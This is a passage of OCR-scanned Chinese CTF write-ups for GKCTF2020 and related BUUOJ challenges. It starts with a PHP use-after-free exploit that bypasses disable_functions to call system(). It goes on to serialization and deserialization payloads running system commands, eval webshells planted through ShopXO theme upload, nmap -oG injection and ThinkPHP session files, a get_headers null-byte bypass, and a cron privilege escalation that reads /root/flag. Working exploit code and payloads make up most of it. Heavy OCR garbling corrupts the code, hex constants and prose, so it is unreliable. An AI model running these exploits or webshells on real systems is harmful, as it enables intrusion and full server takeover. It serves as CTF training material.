} else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
$text_size = $p_memsz;

if(!$data_addr || !$text_size || !$data_size)
return false;

return [$data_addr, $text_size, $data_size];

function get_basic_funcs($base, $elf) {
list($data_addr, $text_size, $data_size) = $elf;
for($i = @; $i < $data_size / 8; $i++) {
$leak = leak($data_addr, $i * 8);
if($leak - $base > @ && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'constant' constant check
if($deref != Ox746e€6174736e6163)

O



conctinue;

} else continue;

$leak = leak($data_addr, ($i + 4) * 8);
if($leak - $base > @ && $leak - $base < $data_addr - $base) {
$deref = leak($leak);
# 'bin2hex' constant check
if($deref != 0x786568326€6962)
continue;
} else continue;

return $data_addr + $i * 8;

function get_binary_ base($binary leak) {
$base = 0;
$start = $binary_leak & Oxfffffffffffffooo;
for($i = @; $i < 0x1000; $i++) {
$addr = $start - 0x1000 * $i;
$leak leak($addr, @, 7);
if($leak == 0x10102464c457f) { # ELF header
return $addr;

function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = leak($addr);
$f_name = leak($f_entry, 0, 6);

if($f_name == 0x6d6574737973) { # system
return leak($addr + 8);
¥
$addr += 0x20;
} while($f_entry != 0);
return false;

b

class ryat {
var $ryat;
var $chtg;

function __ destruct()

{
$this->chtg = $this->ryat;
$this->ryat 1;

class Helper {
public $a, $b, $c, $d;

if(stristr(PHP_OS, 'WIN')) {
die('This PoC is for *nix systems only.');



$n_alloc = 10; # increase this value 1if you get segfaults

$contiguous = [];
for($i = ©; $i < $n_alloc; $i++)
$contiguous[] = str_repeat('A', 79);

$poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;0:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;1i:2;R:5;}";
$out = unserialize($poc);
gc_collect _cycles();

$v = [1;

$v[@] = ptr2str(e, 79);
unset($v);

$abc = $out[2][0];

$helper = new Helper;
$helper->b = function ($x) { };

if(strlen($abc) == 79 || strlen($abc) == @) {
die("UAF failed");

# Leaks

$closure_handlers = str2ptr($abc, 0);
$php_heap = str2ptr($abc, 0x58);
$abc_addr = $php_heap - 0xc8;

# fake value
write($abc, 0x60, 2);
write($abc, 0x70, 6);

# fake reference
write($abc, 0x10, $abc_addr + 0x60);
write($abc, 0x18, Oxa);

$closure_obj = str2ptr($abc, 0x20);

$binary_leak = leak($closure_handlers, 8);
if(!($base = get_binary base($binary_leak))) {
die("Couldn't determine binary base address");

if(!($elf = parse_elf($base))) {
die("Couldn't parse ELF header");

if(!($basic_funcs = get_basic_funcs($base, $elf))) {
die("Couldn't get basic_functions address");

if(!($zif_system = get_system($basic_funcs))) {
die("Couldn't get zif system address");

# fake closure object
$fake_obj_offset = oxdo;
for($i = @; $i < Ox110; $i += 8) {
write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));



# pwn

write($abc, 0x20, $abc_addr + $fake_obj_offset);

write($abc, Oxde + 0x38, 1, 4); # internal func type
write($abc, Oxde@ + Ox68, $zif system); # internal func handler

($helper->b)($cmd);

exit();



K pwn("uname -a") BA pwn("/readflag") , fEHHtmpHEFET

< | O3#aEk (1)

ofiz ~ 4AFE CRE @ #FEFR AHEE » jmp/ » iEH
EF =L Fdl =43
exp.php 2020-05-25 11:33:16 5.77 Kb 0644
= HHERE
=k A s BEATiE TR
ki exp.php => /tmp/ EERETh 2020-05-25 13:33:14 2020-05-25 19:33: 14

G AT U AT exp.php XA

<title>Check_In</title>
<?php

highlight_file(_ FILE_);
class ClassName

{
public Scode = null:
public §decode = null:
function _ construct()
{
$this—»code = @%this—>x() [ Ginkso 1:
$this—>decode = @basebd decode( S$this—>code )

@Eval ($this—>decode) ;
}

public function ={)
f return §_REQUEST:
} }
new ClassName () ; | flag{9e260bd3-fd5a-4f8d-986e-8f141be4369b}|
O O Desls OEEE NRE (IEsEs O Orr B &6 7 TESRE @ HackBar @ Max HacKBar

Encryption ~ Encoding - SQL ~ XS5~  Other -

g Load URL hitp://4e7d4979-2341-41d8-9868-cad9e3635622. node3.buuo].cn/?Ginkgo=QGV2YWwoJFOQT 1 NUWydwYXNz)10pOw% 3d%3d

i split URL
-
- Postdata [] Referer [] User Agent [] Cookies Clear All

pass=include('imp/exp.php');

2% #5rWP-GKCTF2020

[GKCTF2020]cvehi % 2|


https://blog.csdn.net/hiahiachang/article/details/106317765

Hint: cve-2020-7066
i1t %00 ki 7T LLikget_headers()iE K B4R LML, B :
url=http://127.0.0.1%00www.ctfhub.com

&« G @ |® # ccBde7e50.noded.buuoj.cn/turl=http:;//127.0.0.1%00www.ctfhub.com
Bxmesiss ARt @ F=tE [i? IMTESSSRTS. () [IEH] Sthes. © =22 @ PTA | FET
Array

(

[0] => HTTP/1.1 200 OK

[1] => Date: Mon, 25 May 2020 12:45:52 GMT
[2] => Server: Apache/2.4.38 (Debian)

[3] =» ¥—Powered-By: PHP/7.3.15

[4] =>|Tips: Host must be end with ~ 123

[5] =» Varv: Accept—Encoding

[6] => Content-Length: 113

[7] =» Connection: close

[8] =» Content-Type: text/html; charset=UTF-§

RNREEN123, Hai— TRIF B Eflag, Purl=http://127.0.08.123%00www.ctfhub.com

<« c o |® # e7e50.node3.buuoj.cn/?url=http://127.0.0.123%00www.ctfhub.com
Byasses OsSEHL @ FE:rE (P WasSsems. () S -SHg=. & =28 @rTA|EF2
Array

(

[0] => HTTP/1.1 200 OK

[1] => Date: Mon, 25 May 2020 12:47:33 GMT

[2] => Server: Apache/2.4.38 (Debian)

[3] =» X-Powered-Bv: PHP/7.3.15

[4] => FLAG: flag{dcd503b8—847l—4l4f—8696—092951f65290ﬂ
[5] =» Vary: Accept—Encoding

[6] => Content-Length: 113

[7] =» Connection: close

[8] => Content-Type: text/html; charset=ITF-8

2% PRk BH%BEGKCTF 2020 Writeup

[GKCTF2020]: )\ /I 17 JL


https://www.gem-love.com/ctf/2361.html#CVE%25E7%2589%2588%25E7%25AD%25BE%25E5%2588%25B0

WA A: Powered by ShopXO v1.8.0

RIBREM ERENT —FXE: BENK|shopxo/a & &R A K Eshel Z

fadmin.php, HNEG, BWARINKKSEL: admin, shopxoBl F[#NJE &
RIEXLERE T REBEE AT REshell, 5—4A)1E: <?php @eval($_POST['pass']);?>

T O = o 23USYHE *.
=B TE%

MARE, @EER — —

i [i3 BfEkE

3 - = Im_ﬂ.S.O.Zip\default\_static_ I ~ ZREEEHEEaAEH) O &5
f= ® o+ = o EER 22
source ” L(FEBF)
UlDowner css 12519 KB 33.40 KB ITi4s
WsConverter images 118,50 KB 99.38 KB 7igs
#P RIFHOEL is 65 KB 17.19KB  3ris
EERA B indexhiml 1KB 1KB Firefc
& e Elshell.php 1 KB 1KB PHP:
B mam
o b= \
S ER
= B8R
TE Pk 4 AR N

< X @ © & 7 2fbd31ce-fd73-4a3c-9b85-ef37b19c20e1.node3.buuoj.cn/admir
Bumsrses BEERL @ HiFtk (P lesssims. O [EK -SIREs. © 558 @ rTA | EFas

8 ShopXO EaEEss

I— . e
o EEE e irip RS T Take
XERE Twpd KPHMEN: /public/static/index/default/shell.php , 18 FIE]ERE
c.l auto.sh 2020-05-23 16:17:12 80 b 0755
D flag 2020-05-23 15:23:28 43 b 0644
m ﬂag.hint 2020-05-25 13:07:57 57b D644

R HFMiflag: flag{this_is_fake flag/true_flag in_/root} , AMRKI, EEflag.hintfF 3.


http://www.nctry.com/1660.html

Mon May 25 13:07:57 2020
Get The RooT,The Date Is Useful!

# BT —/ auto.sh:

while true; do (python /var/mail/makeflaghint.py &) && sleep 60; done

2 PAT python /var/mail/makeflaghint.py , HB-AFA1EFEFH makeflaghint.py

import os

import io

import time

os.system("whoami”

gkl=str(time.ctime

gk="\nGet The RooT,The Date Is Useful!"
f=io.open("/flag.hint", "rb+"
f.write(str(gkl

f.write(str(gk

f.close

BiEflagfErootB % T, & 7 HUME K SCE ] LT H#i/root B 3%

f = open("/tmp/fla","w"
for root,dirs,files in os.walk(r"/root"
for file in files
f.write(os.path.join(root,file

M #mig: /tmp/fla

Jtmp/fla

1 /root/.bashrc/root/.profile/root/flag

WIS R IREL /root/flag # /tmp/fla

f = open("/tmp/fla w

a = open('/root/flag','r
f.write(a.read



O imiE: /tmp/fla

| Jtmp/fla

1 flag{4ee3baZa-3c9a-4fc4-98bc-72de56e74f71}
2

2%,
#4WP-GKCTF2020
B R B4 2 Bt GKCTF 2020 Writeup

[ 54 2020 F & 41 ]AreUSerialz

<?php
include("flag.php");
highlight_file(_ FILE_ );
class FileHandler {

protected $%op;
protected $filename;
protected $content;

function _ construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();

public function process() {
if($this->op == "1") {
$this->write();

} else if($this->op == "2") {
$res = $this->read();
$this->output($res);

} else {
$this->output("Bad Hacker!");

private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file put_contents($this->filename, $this->content);
if($res) $this->output(“Successfull");
else $this->output("Failed!");
} else {
$this->output("Failed!");

private function read() {


https://blog.csdn.net/hiahiachang/article/details/106317765
https://www.gem-love.com/ctf/2361.html#%25E8%2580%2581%25E5%2585%25AB%25E5%25B0%258F%25E8%25B6%2585%25E5%25B8%2582%25E5%2584%25BF

$res = "',
if(isset($this->filename)) {
$res = file_get contents($this->filename);

}

return $res;

private function output($s) {
echo "[Result]: <br>";

echo $s;
}
function _ destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";

$this->process();

function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;

if(isset($_GET{'str'})) {

$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);

FileHandlerdS SEBLR UM S, RIFFIMLE B %2 destruct)E$,  destruct)&taMlopER B N2, WEN2HS
4op=1, HTFR===ULIREBMEERSET 2 FrLhnl litopE FHF2XK 5T, )5 destruct()= 1 Fprocess(), process()
i RopflE 2K SPATread )R E, SitEflienamefiSCf:, ATAFRAIE B sop=2, $filename='flag.php' #ITFF5{L

protected B fR {138 &7 7 F4L I T 276 %00* %0074, %00F/FHIASCIRG N0, HTikiEE FE s valid BB .

ﬁ&_‘ H
php7 A+RANT & PR BN EUR, A3 F7 F1 4L ) 5K & 14 i R public#t 47 Seid B AT

<?php

class FileHandler{
public $op=2;
public $filename="flag.php";
public $content;

}

$a = new FileHandler();

echo urlencode(serialize($a));
//0%3A11%3A%22FileHandler%22%3A3%3A%7Bs%3A2%3A%220p%22%3B1%3A2%3Bs%3A8%3A%22f1Lename%22%3Bs%3A8%3A%22fLag . php%22
%3Bs%3A7%3A%22content%22%3BN%3B%7D



fe N, BFEIRALI S flag

& @ ‘ £ Yfilename™%3Bs5%3A8%3Aflag.php"%3Bs%3A7%3A content™ %3BN%3B%7D v
diEsES OsEm @ FErE (P WmiessseEs. () SR -SINEs. ¢ =58 PTA | B HERES...

<{code><span style="color: £000000">

{span style="color: #0000BB">&lt:?php<br /><br /><{/span><{span style="color: H007700">include!
</span>

</code>[Result]: <br><?Pphp $flag="flag{6d5c2692-5b45—4edf—987d-08b240a24a2b}’ ;

R
RIFFIMb 2 B & MR F W, asciilbFi>=328<=125. H1TiXE Rprotected®®, FE N _E%00#4THRIR
BR%EHEE, AT /SEHN\00MSKET .

<?php
class FileHandler{

protected $op=2;

protected $filename="flag.php";
}

// echo urlencode(serialize(new FileHandler));

$a = serialize(new FileHandler);

// echo $%a;
$a = str_replace(chr(9),'\00',%a);
$a = str_replace('s:','S:',%a);

echo urlencode($a);

?>
//0%3A11%3A%22FileHandler%22%3A2%3A%7BS%3A5%3A%22%5C00%2A%5C000p%22%3B1%3A2%3BS%3A11%3A%22%5C00%2A%5C00f1Lename’
22%3BS%3A8%3A%22fLag. php%22%3B%7D

TE W SRR b BB BB 4N 12, FBE /proc/self/cmdline , SRJE 15 P E X442 /web/config/httpd. conf
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BEMEA B4 #Hawp
M S #F20207F 4 web writeup

[ 5 4F 2020 2k % 4 Jphpweb


https://zhuanlan.zhihu.com/p/141372339
https://www.anquanke.com/post/id/204856
https://www.cnblogs.com/W4nder/p/12866365.html

BARHBANE, KAREE-EHESRH, FAMEEE

Pragma: no-cache
Cache-Cortrol: no-cache

func=datedp="-m-d+h%34A%3As+a

1 L | | | | L | | | |
POST findex php HTTPA 1 i <title=phpweb=#itle=

Host: 679aaf78-9daf-49a3-ad62-bd550ac3dE7 c .node3 buuoj.cn r =style type="textlcss"=

User-Agent: Mozilla/s.0 (Windows MT 10.0; Wing4, x64; rv:71.0) Gecko/20100101 Firefox/71.0 hody {

Accept: text/tml application/xhtml+xml application/xml;g=0.9 ** g=0.8 bhackground: url{"bg.jpg"”) no-repeat;
Accept-Language: zh-CM zh;g=0.8 zh-TWW,g=0.7 zh-HK;g=0.5 en-US;gq=0.3 en,g=0.2 bhackground-size: 100%;
Accept-Encaoding. gzip, deflate }

Referer. hitpc /67 9aaf78-9daf-49a5-a962-bd550ac3dE7 ¢ node3 buuej.cniindex php p{

Content-Type: applicationf-www-form-urlencoded color: white;

Content-Length; 29 }

Qrigin: http: 67 9aaf753-9daf-49a5-a862-bd550ac3dE7 e node3 buugj.cn =/style=

Connection: close =head=

Cookie: _ga=GA1.2.202177182.1584773494

Upgrade-Insecure-Reguests: 1 =hody=

=script language=javascript=
setTimeout{"document.form1.submit({)",5000)
=/script=
{p}
=hr =
=b=Warning=/b=: date(): It is not safe to rely onth
date.timezone setting or the date_default_timez«
are still getting this warning, you most likely mis

now, but please gle_'tﬁte.timeznne to select your
I 2020-05-26 G2:46015 amig s

N 2 2 N N r— » PN ALz, ) 1Y N . .
BATRBfuncSHOAM T i ¥idate(), pZHAM T Hi¥idate S RT A48 K, BATZAMIE—T readfile("index.php”) , X
3 ) ; a7 f7. MRSy

HIEA LA file_get_contents , REEFRAMREIAT, ZHiXELEindex phpl) 3L
o L n n L — L n n . .
POST findex.php HTTRA .1 'y
Host: 679aaf78-Sdaf-49a5-a062-hd550ac3d67 ¢ .node3 bhuuoj.cn P <body=
User-Agent: Mozilla/s.0 (Windows NT 10.0; Wing4; «64; rv:71.0) Gecko/20100101 Firefox71.0 <script language=javascript=
Accept: texthtml licationfhtml+xml applicationfml g=0.9 ** g=0.8 setTimeout{"document.form1.submit()",5000)
Accept-Language: zh-CM,zh;q=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-US;g=0.3 enq=0.2 <fscript=
Accept-Encoding: gzip, deflate <p=
Referer: http: /67 9aaf78-9daf-49a5-a982-hd550ac3dE7 c.node3 buuoj.cnindex php =7php
Content-Type: application/x-www-form-urlencoded Fdisable_fun =
Content-Length: 25 array("exec" "shell_exec" "system" "passthru" "proc_open" "show_source” "phpinfo" "popen” "dl" "eval","proc_terminate" "touch” "esc
Qrigin: hitp: /67 9aaf78-9daf-4935-3962-bd550ac3d67 e .node3 buuaj.cn apeshellemed” "escapeshellarg” "assent” "substr_replace” "call_user_func_array" "call_user_func""array _fiter", "array_walk",
Connection: close "array_map","registregister _shutdown_function” "register_tick_function” "fiter _var", "fiter _var_array”, "uasort”, "uksort",
Cookie: _ga=GA1 2.202177182.1584773494 "array_reduce" "array_walk", "array_walk_recursive" "pontl_sxec” "fopen” "fwrite”,"file_put_contents");
Upgrade-Insecure-Reguests: 1 function gettime($func, $p) {
Pragma: no-cache Fresult = call_user_func(Ffunc, $p);
Cache-Control: no-cache Fa= gettype(Fresult),

if (%ia =="string") {
func=reaclfiledp=incex.php return Sresutt;

telse {return ™}

i
class Test {
war §p ="v-m-d his a";
war $func = "date";
-

BERL T -




<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo", "popen","dl","e

val","proc_terminate", "touch", "escapeshellcmd", "escapeshellarg"”,"assert", "substr_replace","call_user_func_array"

,"call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_f

unction","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursiv
e","pcntl_exec", "fopen","fwrite","file_put_contents");
function gettime($func, $p) {

$result = call_user_func($func, $p);

$a= gettype($result);

if ($a == "string") {

return $result;
} else {return "";}

}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function _ destruct() {
if ($this->func = "") {
echo gettime($this->func, $this->p);
¥
¥
¥

$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

if ($func !'= null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
telse {
die("Hacker...");

?>

fi# ik —

BHBRINMENKRBHENNNE, FHTEE, BERIRIAEANES echo gettime($this->func,$this->p); , AABRATATLL
AT RF5I4L

<?php
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
}

$a = new Test();

$a -> func ="system";

$a -> p ="1s";

echo serialize(%$a);
//0:4:"Test":2:{s:1:"p";5:2:"Ls";s:4:"func";s:6:"system"; }



Accept: textihtml applicationfhtml+xml applicationimlg=0.9 **g=0.8

I Accept-Language: zh-CH zh;g=0.8 zh-TW.g=07 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2
| Accept-Encoding: gzip, deflate

Referer: hitp: 679aaf78-8daf-49a5-a962-bd550ac3d67 ¢ node3 buuoj cnindex php
Content-Type: application/-www-form-urlencoded

Content-Length: 75

Origin: http: /67 9aaf78-9daf-49a5-a962-hd550ac 3d67 ¢ node3 buuoj.cn
Connection: close

Cookie: _ga=GA1.2.202177182.1584773494

i Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Cortrol no-cache

| func=unserializedp=0:4:"Test" 2:{s:1:"p" 5:2:"Is", 5:4:"func", 5:6:"sy stem"; }I

PATET), AT LAMER grep -r flag /tmp SRULEL S A& flag? R B S, BTFRIXER B FET R,

FEEUtmp B 3%

Request Response
'J RawT Params I Headers I Hex ] Raw Hex
POST fndex php HTTPA 4 <title=phpweb-<fitlz>
Host: 679aafT8-9daf-49a5-a962-bd550ac3d67 e node 3 buuoj.cn <style type="text/css">
User-Agent: Mozilla/3 0 (Windows NT 10.0, Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0 body {

background: url{"h
background-size:

H

p{
color: white;

H

<lstyle=
<head=

<body=

<script language=javascript=
setTimeout("documern

<lscript=

<p=
bg.jpg

index.php

index.php=ip=

Bt LA 4%



L L L L

—

POST findex php HTTRM A

Host: 679aaf758-9daf-49a5-ad62-bd550ac3dE67 c .node3 buuoj.cn

User-Agent. Mozilla/s.0 (Windows NT 10.0; Wing4, =64, rv.71.0) Gecko/20100101 Firefox/71.0
Accept: texthtml applicationfxhtmi+xml application/xml,g=0.9 ** q=08
Accept-Language: zh-CN zh;g=0.8 zh-TW,q=0.7 zh-HK;g=0 5 en-US, g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Referer: hittp: /67 9aaf78-Odaf-49a5-a062-ba550ac 3d67 e node3 buuaj cnindex php
Content-Type: applicationfx-www-form-urlencoded

Content-Length: 91

Crigin: hitp: /67 9aaf78-9daf-49a5-a052-bd550ac3dET e node3 buuoj.cn

Connection: close

Cookie: _ga=GA1.2202177182.1584773404

Upgrade-Insecure-Requests; 1

Pragma: no-cache

Cache-Control: ne-cache

func=unserializedp=C004:"Test": 2:{s:1:"p" &1 7 "grep -r flag Amp" s 4 "func", s 6:"system", }

LS

<head=

<title=phpweb=#itle=

<style

type="text/icss">

body {
background: url{"bg.jpg") no-repeat;
background-size: 100%;

}
i

color: white;

}

=fstyles=

<fhead=

=hody=

=script language=javascript=
setTimeout("document.formd.submit()",5000)

<fscript=
<p>

.ftmp.fflagoeﬁu4r93t!ag{48551 040-7825-4379-b9b9-8fcc545b T34} I

ftmpflagoefiudrdd:flag{4e551040-7825-4379-bIbI-Efcc545bT38e }=/p=
=form1 name=form1 action="incex php" method=post=

<form ik
<inpLt
<input

Y .

type=hidden id=func name=func value="date">
type=hidden id=p name=p vale=""-m-d niza>

A PMEA find / -name flag* ﬂéﬁ)ﬁ@,é‘ﬂagﬂ‘;&ﬂ‘]lﬁ% WA PAE# cat $(find / -name flag*)

SO mmRmS, HET

_ 1 1 1 1

_ L 1 1 1 1

POST findex php HTTRM 1

Host: 679aafT8-9daf-49a5-a962-bd550ac3d67 e node 3 buuoj.cn

User-Agent: Mozilla/5.0 {Windows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: textihtml applicationfhtml+xml applicationimlg=0.9 **g=0.8
Accept-Language: zh-CH zh;g=0.8 zh-TW.g=07 zh-HK;g=0.5 en-US;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Referer: hitp: 679aaf78-8daf-49a5-a962-bd550ac3d67 ¢ node3 buuoj cniindex php
Content-Type: application/-www-form-urlencoded

Content-Length: 92

Origin: http: /67 9aaf78-9daf-49a5-a962-hd550ac 3d67 ¢ node3 buuoj.cn

Connection: close

Cookie: _ga=GA1.2.202177182.1584773494

Upgrade-Insecure-Requests: 1

Pragma: no-cache

Cache-Cortrol no-cache

func=unserializedp=0:4:"Test" 2:{s:1:"p" 5:18:"find / -name flag*";s:4:"func";s:6:"system"; }

KREZ Fcat— T LA T cat /tmp/flagoefiu4r93

iRk —

L

FET —Rwp, BUEKLEHT, g, AmAEHRTRLE, WA T—TF, 747

faEs A=l

B Fi=(Save)

#AHE(Embed)

P #77(Run)

+

Isys/devices/platform/seriald250ttyttyS24flags
Isys/devices/platform/seriald250ttyttyS14flags
Isys/devices/platform/serial3250/ttyttyS5flags
Isys/devices/platform/seriald250ttytty522 flags
Isys/devices/platform/seriald250/ttytty512 flags
Isys/devices/platform/seriald250/ttyttyS30/flags
Isys/devices/platform/seriald250/ttyttyS3flags
Isys/devices/platform/seriald250ttyttyS20flags
Isys/devices/platform/seriald250ttyttyS10/flags
Isys/devices/platform/seriald250ttytty529/flags
Isys/devices/platform/seriald250/ttyttyS1flags
Isys/devices/platform/seriald250ttytty519/flags
Isys/devices/platform/seriald250ttytty527 flags
Isys/devices/platform/seriald250ttytty517 flags
Isys/devices/platform/serial3250/ttyttyS8flags
Isys/devices/platform/seriald250ttytty525flags
Isys/devicesivirtualinet/ethd flags
Isys/devicesivirtualinetloflags
tmpflagoefiudrdd<iz-

<form id=form1 name=form1 action="index php" method=;

<input type=hidden id=func name=func value="date'=

<input type=hidden id=p name=p value="Y-m-d hii.s a'»
<hocly=
<htrml=




fEF \system K&k, REEZERITALSEIAT! 1!

e C @ © & 416d19d4-c5bb-499a-97ee-124a00c3bbee.node3.buuoj.cn
Bymsrses OsEHL @ F3:rE ([ WasSSems. O Sk -SHg=. & =28 @ PTA|EFEg

bg.jpg index.php indexphp

O O Oess ODEE N e (JeeEs O Orr B & 7 TESRE @ Hacke:

Encryption » Encoding ~ SQL - XS5~ Other -

s Lead URL http://416d19d4-c5b6-499a-97ee-124a00c3bbee node3. buuoj.cn/

g.g Split URL

) Execute

Postdata [] Referer [ User Agent [] Cookies Clear All

func=\systemé&p=Is

XEIERbpINERM, FAREAWRF, RXMEWT. - .

&« c @ @ & 416d19d4-c5b6-499a-97ee-124a00c3bbee.nodel.buuoj.cn BE e 1y oo h @ » ¢ 0

Bymesss DsEmt € F3rE (F wIESsSsems. ) (S -SiRss. © S22 & PTA | EESEak.. 6) & @ Nessus Essentials /F.. @ &= [ bmthosomtgz » 01
[ 2N )
a9 2____ 130812078736} flag{2e9a0f12-

4143 4143 4143 4143 414394
a9a3-4a61-802e-f3081207875

-

N O=== D= Ot NuE ((egsE Ous OAF B EE f TSRS @ HackBar i Max HacKBar

Encryption ~ Encoding ~ SQL ~ XSS~ Other -

Contribute now!

i Load URL http://416d19d4-c5b6-499a-0Tee-124a00c 3bbee_node3.buuoj.cn/

9 spiitURL
) Execute
Postdata [] Referer [] User Agent [] Cookies

func=\system&p=cat $(find / -name flag*)

Clear All



% . 2020/ 5 #F 4% 4H WEB——NMAP&PHPWEB
2020 5 A 4 48 4H 35 2 Web fliwp

[ 5 4F 2020 2k % 4 ]JNmap

% >nmap: nmapfy 4 R
2 Atbuuctf LA —4~FI Finamp 9-0GE A3 [flescapeshellarg()Mlescapeshellcmd (i, X B 2 F finamp, 84 AT LA
E# bpayload: '<2php @eval($_POST["pass"]); ?> -0G 1.php '

< C @ © & 05fbb227-b5f0-4756-bae7-7c9378868702.node3.buuoj.cn/?
Buamsrsss EEEmE @ HFtlE P mlessesms. O [EH) -SIRgs. © 228 @rmn

Hacker...

RARAETIE, WERI AphpBdiE T, B —I&ITE Tshort_open_tag, RIS, = S X KphpF4F, fF
F phtml Sgid 3 php SO 4R AR B (<?=3X th 7T BAAN =)

'<?= @eval($_POST["pass"]);?> -oG 1l.phtml '

# Nmap 6.47 scan initiated Tue May 26 09:01:12 2020 as: nmap -Pn -T4 -F --host-timeout 1000ms -oX xml/37409 -oG 1.phtml {flag{1629618-a600-4782-82f3-9c2db521e6ef}|\\
# Nmap done at Tue May 26 09:02:12 2020 -- 0 IP addresses (0 hosts up) scanned in 60.10 seconds

¥ 0= Dess DEAE NEE (IaEEs Ous OaF B T TESRE @ HackBar @ Max HacKBar 4] = X

Encryption ~ Encoding ~ SQL~ XSS~ Other - Contribute now! HackBar v2

igg Load URL hitp://05Tb6227-b5f0-4756-bae7-7c9378868702 node3 buuoj.cn/1.phtml
B spitURL

) Execute
l Post data [] Referer [] User Agent [] Cookies Clear All

pass=system('cat /flag').

XETH—Rwp, HEXTT, RIATLMEMH-L, BAXE—TRHA
Hl: A HLE T — AN A E LB SIPH AL 5 3 ) SO s E R EHL
-oN: B S5 R &E € [ B — 47l 3% 19 3 A logfilenamert:
Jfif§ffjpayload: 127.0.6.1' -iL /flag -oN vege.txt '


https://blog.csdn.net/Pdsdt1/article/details/106199660/
https://www.anquanke.com/post/id/205679
https://blog.csdn.net/yalecaltech/article/details/70943898

< C @ ‘@ # 05fb6227-b5f0-4756-bae7-7¢9378868702.node3.buuoj.cnfvege.txt v B2
Braeses Esame @ HiFrts P wizsseems. O (B -SIRes. © =58 Qe | etk

% Nmap 6.47 scan initiated Tue May 26 09:26:29 2020 as: nmap —Pn -T4 -F —host—timeout 1000ms —oX x
Failed to resolve ‘|flag{16£29618-a600-4782-82f3-9c2db521ebet)”.

WARNING: No targets were specified, so 0 hosts scanned.

% Nmap done at Tue May 26 09:26:49 2020 — 0 IP addresses (0 hosts up) scanned in 20. 07 seconds

2%,
[ M E#£2020% % 411 Web WriteUp
2020 54 R 28 41 38 Web fBwp

[GYCTF]EasyT hinking

BEEHIN—L8, RIS B NThinkPHPV6.0.0, 1 3 & 5| ¥ ThinkPHP6 1F & U4 B E IR IR 2t

B AR TE £ app\home\controller\Da

ThinkPHP V6.0.0 { HFE—GI- AAPTFFRIRITRISIENERE |+ - EL=

BT RE Twpls K E i FdirsearchiA i H 3%, 82 lwww.zip
J%iF fEapp/home/controller/Member.php

AR RAE R N A sessionF KN Z, JHi{E R B

1EM—ANRF

2.83HF, Bk BurpiMEESPHP_SESSION= <K N3206L M7 AF & (BISCHE4 ) > X B R E S Biphp X RiEIR 52T, H It
F0123456789012345678912345678.php Bl Al 5 & 24 (SLAE4Z 28 M ¥ F+" . php" IR B BANL 7458, KEIL3246L, i L SESSIONZK)
3. RAEM A Shell (EI[10123456789012345678912345678.php B ANKIKZE) H HER

43X B 75 ELAE 1 2 SESSIONSU 38 % Phsess_<fE>HIH AR, RAIEIRI5EShell W &2 J&5 7 LA

fE /runtime/session/sess _0123456789012345678912345678.php 78 Z|BATKIShell

BHAREM—MKS, REEEFIEITE

{ Forward J l Drop J I Intercept is on ] { Action J

_[RawI Params T Headers I Hex ]

POST fhome/memberflogin HTTP/M .1

Host: 9c3d54dd-0efb-494¢-b067-c3aadaadd281 . node3. buuoj.cn

User-Agent: Mozilla/s.0 (Windows MNT 10.0; Wing4; x64; rv:79.0) Gecko/20100101 Firefox/79.0
Accept: text/html application/xhtml+xml application/xml;q=0.9 imagefwebp *™,q=0.8
Accept-Language: zh-CN zh;q=0.8,zh-TW,q=0.7 ,zh-HK; g=0.5 en-US;q=0.3 en;q=0.2
Accept-Encoding: gzip, deflate

Caontent-Type: application/x-www-form-urlencoded

Content-Length: 25

Origin: http:/9e3d54dd-0efb-494c-b0E7-c3aadaadd281 . node3. buuoj.cn

Connection: close

Referer: http:/19c3d54dd-0efb-494c-b0E7-c3aadaadd281 . node3. buuoj. cn/home/member/login
Cookie: PHFSESSID=0123456789012345678912345678 . php

Upgrade-Insecure-Requests: 1

usemame=222&passw0rd=222l

TEE RS Nphp—HAJiE <?php @eval($_POST['a']); ?>

_f Regquest to hitp://83aacd02-ee50-4eda-8b8d-e24eTe1523bf.node3 . buuoj.cn:80 [111.73.46.229]

L 11 L . 0 | PRI 1


https://www.cnblogs.com/vege/p/12907941.html
https://www.anquanke.com/post/id/205679
https://paper.seebug.org/1114/
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POST homeimember/search HTTRA A

Host: 63aacdi2-ee50-deda-8bAd-e2427 21 523bf node3 buuoj.cn

User-Agent: Mozilla/5.0 (Windows NT 10.0; Wing4; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: textihtml applicationfhtml+xml application/xmlg=0.9 */*g=08

Accept-Language: zh-CH zh;g=0.8 zh-TW,g=0.7 zh-HK;g=0.5 en-LU5;g=0.3 en;g=0.2
Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 58

Origin: http: /63aacd02-ee50-4eda-Bb9d-224e7e1 523bf node 3 buuoj.cn

Connection: close

Referer: hitp:/63aacdl2-ees50-4eda-Eh9d-e24e7 a1 523bf node3 buuoj cnhomeimember/search
Cookie: PHPSESSID=012345678901 234567891 2345678 php

Upgrade-Insecure-Requests: 1

